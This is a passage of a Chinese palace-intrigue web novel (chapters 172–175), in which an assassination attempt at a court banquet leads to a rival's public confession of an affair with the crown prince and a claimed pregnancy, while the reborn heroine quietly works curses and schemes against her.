鞭梢卷起凌厉的疾风,精准缠住那名暴起刺客的腰间,一把将他从御座前拖拽开来,狠狠掼在大殿光洁的中央地面上!
紧跟着,坐在不远处的玉珠公主,金色软鞭如灵蛇般窜出,紧紧锁住了那刺客的脖颈!
几乎同时的,三皇子赫连曜手中的酒盏,狠辣砸在了刺客面门!
那刺客被这接二连三的打击弄得晕头转向,甚至连咬破齿间毒囊的机会都没有,不知是被金鞭勒的,还是被酒盏砸的,竟双眼一翻,当场晕死过去!
一切发生在电光火石之间,连太子都因局面失控而瞬间怔愣。
而萧启则在太子方才行动的同一瞬,上前一步掠至御前,毫不犹豫地挡在皇帝身前。
高座上,皇帝的目光在触及萧启挺拔背影的刹那骤然凝固。
他久久凝视着那道背影,喉结滚动,终是未发一言。唯有眼底翻涌的波澜,泄露了此刻山呼海啸的心潮。
危机并未解除!
就在第一名刺客被制住之后,两道黑影如同融入夜色的蝙蝠,自大殿高耸的梁柱之上悄无声息地跃下,直扑御座!
太子见状,作势欲扑上前与刺客搏斗,口中再次高呼:“保护父皇!”
但禁军的反应更快!
刀锋出鞘的铿锵之声连成一片,瞬间在御座前织成一道寒光凛冽的铁网,将皇帝牢牢护在中心。
其中一名刺客见无机可乘,身形诡异一转,竟反手精准地扣住了正要“英勇护驾”的太子的咽喉!
他嘶声怒吼,声音充满了刻骨的仇恨:“狗皇帝!我等替玉阳**索命来了!”
而太子也在同时,面色惊惶却坚定地叫道:“休要伤我父皇!要杀要剐,冲孤来!”
这一番“父子情深”的戏码,落在云昭眼中,简直荒谬得让她笑出声。
另一名刺客已被反应过来的禁军当庭斩落,血溅五步。
皇帝脸色阴
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沉,急声喝道:“留活口!朕要问话!”
那名挟持着太子的刺客,闻言忽地抬起脸:“秦王萧启火烧青莲观,逼死我们观主玉阳**!
今日我等纵然身死,也要叫天下人知道,你们皇家是如何残害方外之人,草菅人命!”
此言一出,在场所有人的目光不由自主地投向了萧启。
谁都知道,青莲观一案,正是这位以铁腕著称的秦王殿下亲自督办。
如今竟有余孽当着外国使臣的面行刺皇帝,还口口声声指控他办事不利、手段酷烈,这无疑是将萧启推至**的风口浪尖!
说完这番话,那刺客竟毫不犹豫,横刀于颈,猛地一划!
温热的鲜血如同泼墨般溅射开来,染红了光可鉴人的金砖地面,也溅了被他挟持的太子一身。
不远处的姜绾心目睹此景,吓得花容失色,失声尖叫:“殿下——!”
就在姜绾心这声呼唤出口的瞬间,云昭垂在袖中的手指几不可察地轻轻一弹,一缕极淡的药粉气息,精准地飘向姜绾心。
姜绾心只觉得一股莫名的冲动直冲头顶,不管不顾地拨开身前惊惶的舞姬,直接朝着太子的方向扑了过去!
“保护太子!”
左右禁军此刻神经紧绷到了极致,眼见又有一人不管不顾地冲过来,其中一名侍卫想也没想,下意识便是飞起一脚!
“砰!”
姜绾心如同断线的风筝,被这一脚结结实实地踹在胸口。
她惨呼一声,娇弱的身躯直接被踢飞出去!
怀中的琵琶“春涧流泉”也脱手飞出,摔在地上,发出“铮”的一声哀鸣。
“心儿!”贵妃身边的梅柔卿当即惊得魂飞魄散!
她也顾不得礼仪,直接朝着皇帝跪了下去,声音凄厉,“陛下!那不是刺客!那是心儿啊!是姜家的女儿姜绾心!
她手中的琵琶是太后娘娘御赐的啊!求陛下明鉴!”
皇帝本就因孟贵妃非要将梅氏带在身边心中不豫,此刻听到梅氏居然如此不管不顾,脸色瞬间一沉。
他自然早已看出那琵琶是太后赐给姜绾心,也猜到她今日出现在此,必定是太后的安排与宫中内侍的接应,意在抬举此女。
可姜绾心如此不知分寸,在刺客刚伏诛、场面未靖之时,就这般失态地直冲太子而去,他心中已是大为不喜,本不欲当众点破这桩事,免得皇家颜面扫地。
结果,竟被这沉不住气的梅氏当场嚎破!
简直丢尽了皇家的脸面!
皇帝简直恨不得当场将这对母女拖出去打死算了!
第173章 太子殿下,你答应过要娶我的!
梅柔卿跪在地上,泣不成声:“贵妃娘娘,陛下!心儿她只是太过担忧太子殿下安危,方才定是情急之下只想护驾,这才失了分寸啊!求陛下、娘娘明察秋毫!”
麟德殿内,烛火摇曳,映照着众人神色各异的脸。
一直**旁观的长公主忽然轻笑一声,指尖漫不经心地拨弄着颈间翡翠串珠:“梅氏这话说的,倒让本宫听不明白了。
咱们太子殿下文武双全,方才护驾时更是英武不凡。哪里轮得到一个弱质女流来‘保护’了?”
说着,她目光扫过脸色骤变的太子,“还是说……太子与这位姜二小姐,有什么我等不知的渊源,才让她如此奋不顾身?”
长公主可没忘了生辰宴上,姜绾心献上那幅蛊惑人心的毒画,事后太子却一口咬定,御医查验过“确认”无毒。
彼时她与皇帝关系疏离多年,一方面苦无证据,无法当着众人的面,跟一朝太子撕破脸面;另一方面,她也不信皇帝会为了一幅画,真对圣宠正浓的太子降下责罚。
但姜绾心和太子的一笔笔账,她可都记着呢!
梅柔卿如同抓住救命稻草,急急开口:“自然是因为,殿下早就允诺了我家心儿……”
“放肆!”皇帝冷声打断了梅氏未说完的话。
然而,梅氏那未尽之语,已像一颗巨石投入平静湖面,在大殿之上掀起惊涛骇浪。
臣子命妇们交换着惊疑不定的眼神,窃窃私语如潮水般蔓延开来。
“这琵琶女真是姜家二小姐?既是当堂献技,为何蒙面?”
“坊间早有传闻,说太子心悦姜二小姐,郎有情妾有意,说不定私下里早就……”
“你没见她方才扑向太子时的模样?若非情谊匪浅,何至于此!”
“不对呀,我怎么听说近来太子殿下一直有意要求娶南华郡主……”
这些议论声虽低,却字字清晰,如同细针般扎进安王妃的耳中。
她端坐着,保养得宜的脸上阴沉得能滴出水来,锐利的目光如箭矢般射向太子。
这些日子,东宫送往安王府的补品、珍玩络绎不绝,她岂会不知太子所图——
无非是想要博得安王府的支持,确保来日荣登大宝罢了。
若太子诚心求娶,能好生对待她的倩波,他们安王府自当鼎力支持,待太子来日登基,这也是双赢的局面。
可若太子一边求娶她的女儿,一边还与姜绾心这等狐媚**不清不楚,她却是断断不能容!
一片嘈杂混乱中,云昭快步走上前,先从莺时手中接过一块浸透了冷水的布巾,利落地塞进那名昏迷刺客口中,防止他醒来后咬舌或服毒。
随后,她转身,一步步走向蜷缩在地、因剧痛而微微颤抖的雪衣女子。
姜绾心似乎察觉到她的靠近,勉力抬起眼帘。
当看清是云昭时,她瞳孔骤缩,眼睛里闪过一抹难以掩饰的惊惧。
云昭停下脚步,居高临下地打量着姜绾心。
重生以来的种种,如走马灯般闪过脑海——
公主府初见的刻意刁难,碧云寺内的步步紧逼,赐婚圣旨下达前,她口口声声让姜世安将她送给永熙王为妾……
然而,这一世姜绾心所有的所有刁难与算计,再怎么狠毒,也敌不过前世那间暗室种种!
彼时,她被囚于冰床之上,眼睁睁看着鲜血一点点流逝,成为供养姜绾心的养料。
她心底仅存着最后一点希冀,盼着用自己的死,换取师兄们的生路。
可姜绾心就那样居高临下地看着她,字字恶毒,句句诛心,亲手捻灭了她最后的光亮。
她确实重生了,但前世那个纯善的、总以为人心向善的云昭,永远死在了那间暗无天日的密室里,带着无尽的苦痛与悔恨!
云昭唇角缓缓勾起一抹极淡的弧度,清澈的声音响彻大殿,压过了所有嘈杂:“且慢。”
她目光扫过众人,最终落回姜绾心惨白的脸上,“此女究竟是不是我妹妹,还有待查证。”
“毕竟,方才场面混乱。‘有心之人’若想李代桃僵,或是刺客本就安排了同伙伪装身份、趁机行事……为保万全,还是验明正身,更为稳妥。”
此言一出,满殿哗然!
梅柔卿猛地抬头看向云昭,那眼神怨毒的,简直恨不得将她生吞活剥!
高座上的皇帝眼底却几不可察地掠过一丝满意。
他从前还觉得渊儿选定姜云昭做王妃,有些冲动,毕竟此女性情冷硬倔强,不够圆融。
如今看来,这姜云昭不仅能力出众,遇事沉着,更难得的是懂得顾全大局,维护皇家体面!
光是这份在混乱中迅速稳定局面的心性,就比目光短浅的贵妃,和那总拎不清的太后亲娘,强上太多!
姜绾心强忍着胸口翻江倒海的剧痛,挣扎着撑起上身:“阿姊,你怎能如此说……”
云昭面色沉静如水,唯独在与姜绾心视线相交的刹那,眼底闪过一抹讥诮:“莫要胡乱认亲。”
她声音不大,却清晰传入每个人耳中,“我的妹妹心儿,如今正奉太后懿旨,在玄都观中陪伴太后清修,为国祈福。
又怎会蒙着面纱,不声不响地出现在这麟德殿,充当起献艺的琵琶女?”
姜绾心闻言,猛地一把扯下脸上染血的面纱,露出那张虽苍白却依旧娇美的容颜。
她嘴角淌血,心口剧痛难当,却强撑着踉跄站起!
她环视四周,声音带着绝望的
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尖厉:“我就是姜绾心!
就算你不认,在场这么多勋贵夫人、世家小姐,总有见过我的!”
她下意识望向往日姜家在宫宴上的固定席位——
可宋白玉身边,早已坐了别家贵女,正是时隔多年终于有机会出现在这等大型宴席之上的苏玉嬛。
姜绾心这才猛然记起,祖母因罪受了庭杖,还需每日在内侍监管下跪诵两个时辰的《女德》,根本无缘今日盛宴。
而妹妹姜绾宁,也因她急于寻找转移恶咒的替身,早已浑身溃烂,被母亲送往偏僻庄子自生自灭。
她的目光慌乱搜寻,终于与席间的宋白玉对上,她下意识地轻唤:“宋姐姐……”
然而宋白玉只是淡漠地瞥了她一眼,便迅速移开视线,端起茶盏,与身旁女伴低声交谈起来,仿佛从未认识过她。
其他平日宴会上与她姐姐长、妹妹短,显得无比亲热的贵女们,此刻也个个眼观鼻、鼻观心,避之唯恐不及。
这些贵女个个都是人精,如何察觉不到皇帝的脸色与心意?
姜绾心仓皇地将目光投向父兄所在的方向。
一时间,也不知会什么缘故,她遍寻不到姜世安的身影。
唯有兄长姜珩满脸焦灼地看着她,刚欲起身,却被身旁那位刁蛮的玉珠公主一把揽住脖颈,硬生生灌下一杯烈酒!
姜珩呛得脸色通红,刚要咳嗽,又被玉珠笑嘻嘻地用一瓣橘子塞住了嘴,噎得他满面痛苦,发不出半点声响。
姜绾心将最后的希望寄托在太子身上。
可太子只是面无表情地站在那里,甚至刻意避开了她的目光,侧脸冷硬如冰。
满殿华服贵人,竟只有梅柔卿还在不停地磕头哀求,一遍遍哭喊着:“陛下明鉴,她就是心儿,是姜家的绾心啊!”
姜绾心十八年来顺风顺水,被众人捧在手心,何曾受过此等众叛亲离、百口莫辩的**与绝望?
她只觉得天旋地转,气血翻涌!
她指着云昭,嘴唇哆嗦着想说什么,可一抬眼,看到太子那绝情冷漠的侧影,一股腥甜猛地涌上喉头,竟“哇”的一声喷出一口鲜血!
皇帝眉头紧锁,声音带着厌烦:“好了,既是冒认……”
“我没有冒认!”姜绾心忽然发出一声凄厉至极的哀嚎,如同濒死的野兽。
她猛地向前扑去,不顾一切地挣脱了欲阻拦的宫人,狼狈不堪地扑到太子脚下!
她用尽全身力气拽住太子华贵的衣袍下摆,仰起头,用所有人都能听清的声音尖叫道:
“殿下!你早与我在丹阳郡公府的温泉别院有了肌肤之亲!
旁人可以认不出心儿,难道殿下你也认不出吗?你答应过要娶我的!!”
第174章 我肚子里的,这是皇长孙啊!
姜绾心这句石破天惊的宣言,如同惊雷炸响,将整个麟德殿震得死寂一片,连空气都仿佛凝固了。
只余下烛火噼啪的微弱声响,以及众人压抑不住的、倒抽冷气的声音。
安王妃的目光此刻已不再是箭,而是淬了毒的冰刃,狠狠钉在太子身上。
“**!”长公主揉着额角,从齿缝里挤出的这两个字
长公主这声低斥,声音不高,但御座之上的皇帝却听得再清楚不过。
紧挨着她的柔妃,更是猛地被口中蜜饯呛了一声!
她慌忙端起茶杯掩饰,那杯沿与杯盖撞击发出的细微“叮当”声,在这死寂中显得格外刺耳。
皇帝的胸膛剧烈起伏,脸色已不是黑沉,而是泛着一种铁青的死气。
他一生自诩克己复礼,并非花心重欲之人,为何生出如此荒唐无度的儿子!
一边与姜绾心这等不知廉耻的女子纠缠,一边竟还敢派人夜闯官邸,意图掳掠李扶音!
更早之前,还痴心妄想去求娶安王的掌上明珠南华郡主!
皇帝心中怒火翻腾,这个蠢货!贪得无厌,目光短浅!
骨子里,根本像极了他那个上不得台面的生母!
想起远在清凉寺“修行”的皇后,皇帝眼中闪过一抹深刻的厌憎。
“噗嗤——”一声不合时宜的轻笑打破了死寂。
只见玉珠公主拍着手,笑得花枝乱颤:“精彩!真是精彩绝伦!
想不到大晋的太子殿下,在风流韵事上的造诣,竟与我太子哥哥不相上下呢!”
她语带天真,眼底却闪烁着残忍的兴味,全然一副看热闹不嫌事大的模样。
皇帝太阳穴青筋跳动。
他厌恶这番邦公主的无礼,但家丑当前,他若出声斥责,不过是徒惹腥臊,更添笑柄!
“陛下!陛下明鉴啊!”姜珩终于吐掉了嘴里的橘子,连滚带爬地从案几后跪行而出,对着皇帝连连磕头:
“此女确实是臣妹绾心无疑!她只是一时糊涂,求陛下开恩……”
“放肆!”皇帝忍无可忍,猛地一拍龙椅扶手,声如雷霆。
太子脸色煞白,额角沁出细密冷汗。
他猛地扬起手臂,露出衣袖下那道不知何时被刺客划伤、仍在渗血的伤口,顺势“扑通”一声跪倒在地,声音带着惶恐与委屈:“父皇!儿臣冤枉!儿臣与这姜氏女绝无……”
他那“冤枉”二字尚未完全出口,就被姜绾心更加凄厉尖锐的哭喊硬生生打断!
“臣女不敢有半字虚言!”
姜绾心像是被逼到绝境的母兽,双目赤红,披头散发,她几乎是嘶吼出来,仿佛要将所有的委屈和恐惧都倾泻而出!
“太子殿下在丹阳郡公府的温泉别院幸了臣女一整夜!
殿下身边的贴身内侍、护卫皆可为证!”
说话间,她竟猛地从贴身亵衣内扯出一块莹润剔透的龙凤呈祥玉佩,双手高高捧起,呈向御座:
“这是殿下当日亲口承诺会迎娶臣女为太子妃时,赠予臣女的信物!他说见此玉如见他本人!
臣女所言句句属实!臣女就是姜绾心,更是太子殿下金口玉言许诺的太子妃啊!”
皇帝气得浑身发抖,手指着下方,嘴唇哆嗦着,半晌说不出一个字来,只觉得一股腥甜涌上喉头。
一旁的萧启适时地低声道:“皇叔,保重龙体。”
说话间,他已亲手端过一盏温热的参茶奉上。
皇帝接过茶盏,指尖因用力而泛白,强忍着没有当场将茶盏砸向太子。
常玉公公觑着皇帝脸色,连忙小步疾走下台阶,从姜绾心颤抖的手中取过那枚玉佩,又快步返回,躬身呈给皇帝。
皇帝垂眸瞥了一眼,那玉佩的纹样质地他再熟悉不过,正是去岁万国来朝时,他亲手赐给太子的及冠礼之一,象征龙凤和鸣的东海暖玉。
他闭了闭眼,深吸一口气,胸口那团怒火几乎要炸开。
太子额角青筋暴跳,嘴唇失去了所有血色,心中已是惊涛骇浪——
玉衡**到底是怎么办事的!
明明说好了让姜绾心这些时日老老实实待在玄都观,陪着太后!
她怎么会突然出现在麟德殿?偏偏还是在这个节骨眼上,将他全盘计划毁于一旦!
今晚这场刺杀,他费尽心机,布局良久!
本想着一石二鸟,既在父皇面前演一出舍身护驾的戏码重获圣心,又能将刺客的由头引向萧启剿灭青莲观之事,让父皇质疑萧启办事鲁莽,树敌过多。
可如今……全被姜绾心这个蠢妇毁了!
生平第一次,一个前所未有的念头疯狂地涌入太子的脑海——
这个姜绾心,当真是玉衡**口中那个能旺他气运、助他顺利登临大宝的天命凤女吗?!
她简直是生来克他的煞星!灾星!
这时,玉珠公主拊掌大笑道:“看来今日要见证一桩天大喜事了!”
赫连曜咳了一声,告诫地瞥了玉珠一眼。
长公主瞥了一眼脸色黑如锅底、气息的皇帝。
这些年她虽然与这位皇弟关系疏远,心中也有怨怼,但此刻瞧见皇帝这副脸色,她还真怕他气得当场厥过去,那可真让大晋王朝威严全无!
长公主敛去眼底复杂情绪,淡声开口:“陛下,既然是太子喜欢,这姜家二小姐也确实与太子……木已成舟,不如就赐个旨意,成全了这对有情人吧。”
太子脸色阴晴不定,紧抿着唇。
一旁的姜绾心则连连朝长公主叩首谢恩,泣声道:“多谢长公主殿下!臣女与太子殿下确是两情相悦,求陛下成全!”
她此刻满心以为看到了希望,这太子妃之位必定是她的!
然而,跪在皇帝近前的梅柔卿却猛地回过神,一股寒意从脚底直窜天灵盖!
她陡然意识到,从云昭提出“验明正身”开始,她们母女就已经一步步踏入了对方精心编织的罗网之中!
用自承失贞、当众献玉的方式来验明正身,固然能暂时保住性命,却将女儿身为贵女最宝贵的清白、名声、矜持全都舍弃了!
一个在御前不顾颜面,自曝与男子有私,甚至拿出私相授受信物的女子,皇家怎么可能让她做太子正妃?绝无可能!
果然,下一瞬,就听皇帝带着极度疲惫和厌烦的声音响起:“太子行为不检,姜氏女德行有亏。然,念在……旧情。”
他顿了顿,仿佛说出这两个字都让他恶心,“朕便允姜氏绾心,入东宫为……奉仪。”
奉仪!
东宫嫔妾等级中,位列末等的九品奉仪!
太子东宫最低等的妾室!
这简直是将他们母女的脸面,放在地上狠狠踩踏!
梅柔卿脸色刷白,下意识地看向跪
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在庭中,显然还没反应过来的女儿。
然而她的目光,却正好与一直静立旁观的云昭撞个正着。
云昭的眼神平静无波,甚至没有一丝得意,但那深不见底的幽冷,让梅柔卿瞬间如坠冰窟,脊背发寒!
姜云昭!她这是在以其人之道,还治其人之身!
当日,她们用婢女偷换主母苏氏,逼得她们母女在京兆府公堂之上,被逼自证身份,甚至险些被那白羡安口口声声以“女子清白”为名,逼得声名尽毁!
今日,姜云昭就借着圣意,逼得她的心儿不得不在这百官宗亲、外国使臣面前,自证身份!
而代价就是牺牲掉女儿家最宝贵的清白与名声,连带她们母女汲汲营营、梦寐以求的太子妃之位,也彻底化为泡影!
姜云昭,她好毒的心计!好狠的手段!
果然会咬人的狗不叫!
瞧着不声不响,不争不抢的模样,仿佛万事不沾身,这一出手,就想要她们母女的命!
不!姜云昭今日这毒计,简直比直接杀了她们还要恶毒!
梅柔卿此刻恨得发狂,简直恨不得活吃了云昭!
可她心里却无比清晰地意识到,自己玄术比不过姜云昭,武力更打不过她!
且如今姜云昭已是板上钉钉的亲王妃,而她的心儿却要沦为太子妾室——
她们母女还能如何翻身?她还能如何报复回去?
而姜绾心也终于从“奉仪”二字中回过味来。
她茫然地抬头,看向跪在前方、侧脸冰冷的太子,轻声问:“殿下,您亲口答允过心儿的,凤冠霞帔,正妃之仪……为何、为何会变成奉仪?”
她不懂,明明她付出了所有,为何换来的却是如此轻贱的名分?
太子满心满眼都是萧启站在御座旁,那副深受倚重的模样,嫉恨的毒火灼烧着他的五脏六腑,哪里听得进这小儿女的痴缠怨怼?
父皇到底被萧启灌了什么**汤?!
方才刺客明明指证,行刺皆因萧启剿灭青莲观,杀戮过甚所致!
萧启办事不利,为君父引来杀身之祸,让大晋在外使面前颜面尽失,父皇为何还不治他的罪?为何还如此信任他?!
他气得双眼血红,当即心头发狠,猛地用手捂住嘴,故意剧烈地咳嗽起来。
“殿下——!”
女官拂云像是收到了什么信号一般,发出一声凄厉的惊叫,猛地从旁冲上前,试图扶住摇摇欲坠的太子。
太子这时松开了无力捂住嘴唇的手。
只见一缕粘稠的、色泽发黑的血液正从太子嘴角不断溢出,顺着他苍白的下颌滴落。
“有毒!方才那刺客的刀上有剧毒!”拂云急得眼眶通红,声音带着哭腔。
众人循声望去,只见太子的脸色从惨白迅速转为一种死气沉沉的灰败,呼吸也变得急促而浅弱,整个人控制不住的微微痉挛,显见是剧毒攻心之兆!
饶是皇帝方才气得不轻,见到亲生儿子如此惨状,也不由得豁然起身,厉声高喊:“御医!快传御医!”
跪在一旁的姜绾心先是一呆,被这突如其来的变故惊住。
紧接着,像是终于找到了最后一根救命稻草,她猛地站起身,不顾一切地对着皇帝嘶喊道:
“陛下!我不能做奉仪!我……我怀了太子的骨肉!我肚子里的,这是皇长孙啊!”
第175章 这皇太孙,血脉存疑
姜绾心这石破天惊的一语,宛若一块巨石砸入看似平静的湖面,激起的不是涟漪,而是滔天巨浪!
麟德殿内,方才还只是窃窃私语的暗流,此刻彻底化为鼎沸的人声,其震动程度,远超之前任何一次!
连一直隔岸观火的三皇子赫连曜,都忍不住挑起眉梢。
一旁的玉珠公主漫不经心地用缀满珍珠的绣鞋尖,踢了踢跪伏在一旁的姜珩。
她语带讥诮,声音清脆却刺耳:“喂!我说,你这妹妹可真是不知廉耻!还是说,你们大晋的贵女,都是这般轻浮做派?”
她这话并未刻意压低,清晰传入了周遭不少命妇勋贵的耳中。
连玉珠公主这等番邦公主,都直言斥责姜绾心不知廉耻,这简直是将整个大晋的脸面撕扯下来践踏!
一时之间,整个麟德殿内,从高踞宝座的皇帝、长公主,到下首的宗室亲王、勋贵重臣,再到更外围的命妇女眷,几乎所有人的脸色都变得极其难看。
康乐伯夫人忍不住对一旁友人感慨道:“天哪!这姜绾心从前好歹也是京城颇有才名的淑媛,姜家虽非顶级门阀,也是清流人家,何时竟堕落至此?”
那友人哼了一声:“老话说龙生龙,凤生凤!要我说,根子上就歪了!她生母就是个上不得台面的外室,这等出身,能养出什么知廉耻、懂礼数的女儿来?骨子里就带着轻浮!”
也有贵女难以接受:“太子殿下那般光风霁月的君子,怎么可能!”
“未婚先孕,还敢在御前喧哗,真是把我等世家女的脸都丢尽了!日后谁家还敢与姜家往来?”
“姜家尚书府的匾额都摘了!凭他姜家如今,根本也不配与咱们往来!”
跪坐在贵妃近前的梅柔卿,不用刻意探听也能预见,过了今夜,京城将会掀起何等不堪的**。
她满心冰凉。
她梅柔卿此生最大的耻辱,便是身为沈家这等清贵世家的女儿,却命途多舛,家族败落,最终竟不得已,委身于姜世安这等寒门出身的男子做了外室!
但凡当年她能有别的选择,她也绝不会如此便宜了姜世安!
可命运弄人!
她半辈子含辛茹苦,挣扎求存,好不容易将女儿抚养长大,只盼她能摆脱自己的命运,堂堂正正嫁入皇室做嫡妻主母!
可她万万没想到,心儿竟会步上她的后尘,眼看也要沦为旁人的妾室!
即便那人是贵为太子,那也只是地位高些的妾室罢了!
梅柔卿不禁将怨毒的目光,投向坐在一群命妇贵女之中,姿态清高的苏**。
她怎么就那么好命!空有世家女的名头,蠢钝如猪的脑子,逆来顺受的性子,怎就生出姜云昭这等心机深沉的女儿?!
她的心儿,终究是被她保护得太好,养得太娇太纯,根本就不是姜云昭那等蛇蝎女子的对手!
然而,当梅柔卿的目光再次落回跪坐在那儿、眼巴巴瞧着太子的女儿身上时,心底又不禁生出一丝希望。
她这个笨女儿,倒也不是全无运道。虽然骨头轻,被太子几句甜言蜜语就哄得失了身子,但到底借此怀上了龙种。
在这**的后宫里,子嗣就是最硬的护身符,最强的登天梯!
心儿肚子里的这个孩子,就是她们母女翻身的本钱!
梅柔卿的视线不由自主地睇向姜绾心面前,那个蜷缩在拂云怀中,面如金纸的太子。
她心底闪过一丝怨毒:若太子就此一命呜呼……倒也不失为一桩好事!
届时,心儿肚子里这个还未出世的孩子,就是太子唯一的血脉,是名正言顺的皇太孙!
再让一向疼爱心儿的太后娘娘,以及贵妃娘娘帮忙周旋说和,让悲痛中的皇帝认下心儿这个“已故”太子的**,追封个太子妃的名分……
那她们母女,岂不是因祸得福?这盘看似死局的棋,未必不能走活!
这个念头一旦生出,便如同野草般在梅柔卿心中疯狂滋长。
她死死盯着太子,从前只盼着这个尊贵的男人能带给她们母女荣华富贵。
可这一刻,她却前所未有地、强烈地希望他就此咽气!
像今夜这等大型宫宴,为防万一,太医院院正、院判及数名精干御医皆在麟德殿偏殿随时候命。
因而太监领命去传,不过片刻功夫,两名身着官袍、神色凝重的御医便提着药箱,疾步匆匆地赶了过来。
姜绾心跌坐在太子面前,一手紧紧捂着自己尚且平坦的小腹,泪眼婆娑地对着意识模糊的太子泣道:“殿下!殿下您醒醒,您可不能丢下妾身和我们孩儿啊!
您若是就这么去了,咱们这未出世的孩儿,一落地就成了没爹的皇太孙,那也太苦了!”
被拂云勉强扶着的太子,眼皮轻颤,朝着姜绾心看了过来。
姜绾心却没瞧见太子眼中的杀气,她见状大喜过望,死死攥住太子冰凉的手,抬起头对皇帝急切喊道:
“陛下!陛下您看!殿下他听到臣女的声音了!他有意识了!他心里是记挂着我们母子的!”
两名御医不敢怠慢,先后上前为太子仔细诊脉。
片刻后,章太医对着皇帝躬身回禀:“启禀陛下,殿下这事中了‘鸠羽红’之剧毒!此毒性极酷烈,发作迅猛,必须尽快解毒!”
几乎就在章太医向皇帝禀报的同时,静立一旁的云昭忽觉衣袖之中传来一股极其细微却绝不容忽视的异样波动——
并非实物触动,而是一种阴冷、诡谲的能量流转。
她面上不动声色,只微微垂眸,借着宽大衣袖的遮掩,目光飞快地扫过袖内。
只见那个之前由莺巧手编成的草编娃娃,此刻正隐隐透出一层不祥的幽光。
云昭心中雪亮:是那幕后下咒之人,在催动桃花咒!
云昭上前一步,对焦灼万分的皇帝道:“陛下,可否容微臣也为殿下诊视一番?”
皇帝此刻已是心急如焚,连连点头准允:“快!上前查看!”
云昭快步上前,假意俯身探向太子的腕脉,宽大的云纹衣袖如同流云般,不着痕迹地自太子面庞之上轻轻拂过。
就在这电光火石般的接触瞬间,袖中那草编娃娃上荡漾的幽光,已被她以秘法悄无声息地转移到太子身上。
此举非常冒险!
云昭此举,并非直接施加诅咒,而是将咒力暂时转移到太子身上。
这也就意味着,若那幕后之人此刻心生警兆,果断收手,放弃催动桃花咒,那么太子身上将不会显现任何中咒的异状。
云昭这番动作便等于白费,而且这缕被引动过的核心咒力,极可能就此消散,再难追踪溯源。
可若那人一意孤行,继续全力施为……那么等着她的,必将是让她后悔终生的局面!
届时,太子身上的桃花咒力,才会真正根植进入其体内,再难逆转。
说时迟那时快,云昭已站起身,朝一旁的章太医拱了拱手:
“章太医医术精湛,确是‘鸠羽红’之毒无疑。此毒罕见,微臣只是早年曾在一部孤本医籍上见过记载。有章太医在,殿下定然无忧。”
章太医见云昭上前,还以为这位近来风头极盛的玄察司主是想借机抢功。
此刻见她仔细诊脉后,非但没有提出异议,反而全盘认可自己的判断,这才确定对方或许真的只是出于好奇。
章太医脸色稍缓,对云昭微微颔首,低声道:“姜司主过誉了。若对此毒感兴趣,待殿下情况稳定后,可来太医署,老夫可将一些相关脉案与解毒心得与您探讨。”
云昭再次拱手:“先行谢过章太医。”
此时,内侍们已准备好担架,小心翼翼地将昏迷不醒的太子抬起。
拂云立刻紧随其后,寸步不离。
太子被匆匆抬往邻近的“凝晖堂”救治。
姜绾心下意识地追出几步,目光紧紧追随着太子的担架,脸上交织着不甘与期盼。
云昭却在此刻身形微动,恰到好处地拦在了她的去路。
皇帝目光如电,倏地射向姜绾心那依旧平坦的小腹,沉声下令:“替她把脉。”
云昭闻言,正欲上前执行皇命,姜绾心却如同受惊的
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兔子般,猛地后撤一步,尖声道:“不要!我不要阿姊为我诊脉!”
她扬起苍白的下巴,转向皇帝,语气带着一丝委屈与不信任:“陛下,臣女是否真的有孕,恳请陛下另派一位信得过的御医查证即可。
毕竟阿姊她与臣女素有嫌隙,臣女实在害怕……”
云昭闻言,立刻从善如流地后退一步,朝皇帝再次拱手,姿态恭谨,表明自己绝无干预之意。
皇帝眼神微冷,对一位看起来较为年轻的御医示意。
那御医连忙上前,取出丝帕覆在姜绾心腕上。
仔细诊脉片刻后,躬身快步走到皇帝近前,压低声音回禀:“启禀陛下,这位姜奉仪,脉象确如滑珠,是已有身孕之兆,只是月份尚浅,应不足一月。”
皇帝的目光幽深难测,在姜绾心身上停留片刻,看不出喜怒。
这时,一直缩在人群后方的姜世安,不知何时连滚带爬地奔了出来,“扑通”一声跪倒在御前!
他以头叩地,声音带着哭腔:“陛下!臣教女无方,致使家门蒙羞,惊扰圣驾,臣罪该万死!臣自知无颜面对陛下,更无颜面对列祖列宗……”
他先是痛哭流涕地自贬一番,随即话锋一转,“然则,小女心儿毕竟怀了龙裔啊!此乃天家血脉,不容有失!臣恳请陛下开恩,允准心儿暂且回府休养,待胎儿安稳……”
皇帝看着脚下叩首不止的姜世安,眼神冰冷,并未立刻言语。
太子这个亲儿子,他尚且可以因权衡利弊而立了又废,更何况一个来历存疑的所谓“皇孙”?
以姜绾心今夜这般轻浮浪荡、不顾大局的做派,即便她腹中真有了孩儿,谁能保证那就一定是太子的?
皇室血脉,岂容混淆!
皇帝眸光沉凝,缓声道:“太后如今正在玄都观为国祈福,清修静心。姜绾心,你既曾得太后青眼,便该珍惜这份福缘。即刻起,你便返回玄都观,陪伴太后左右,一同为天下万民祈福,也好好静一静你的心性!无朕旨意,不得擅离!”
姜世安浑身一抖,深知圣意难违,只得再次叩首:“臣……谢陛下圣恩。”
然而,姜绾心却在此刻再次抬头,语气变得柔顺却坚定:“陛下圣明!臣女得蒙太后娘娘垂怜,今生难忘。
太后娘娘一人在玄都观清修,臣女亦心有不忍,愿意回到娘娘身边,尽心侍奉,为陛下、为太子殿下、为大晋天下祈福。”
她话锋一转,眼中含泪,望向太子被抬走的方向,“只是……如今太子殿下情势危急,生死未卜,臣女身为殿下的人,更是腹中孩儿的母亲,实在心如刀绞,无法安然离去。
臣女恳请陛下开恩,允准臣女今夜留在宫中,在凝晖堂内守候,伺候殿下汤药。
只待殿下转危为安,脱离险境,臣女必定即刻返回玄都观,绝无半句怨言!”
这番话,倒是说得颇有几分身为太子妾室的自觉与情意,比起之前的失态,总算挽回了一丝颜面。
皇帝的脸色稍霁,淡声道:“你能有这份心,倒也难得。
罢了,常玉,安排人带姜奉仪去凝晖堂偏殿等候,无朕允许,不得惊扰太子诊治。”
眼见太子被抬往凝晖堂,而自己也被允许留下,姜绾心扶着宫女的手站起身,原本慌乱的心绪渐渐平定,甚至生出一股扭曲的快意。
她下意识地挺了挺依旧平坦的腹部,眼中闪过一丝算计的光芒。
她如今肚子里怀着龙胎,这可是实实在在的护身符,尊贵着呢!
就算眼下只是个微不足道的奉仪又如何?
只要她能顺顺利利生下这个孩子,最好是诞下皇孙,就不信皇帝陛下还会如此狠心,不给他们母子一个名分!
而这期间,只要太子能熬过这一劫……她必定有办法近水楼台,好好笼络太子的心。
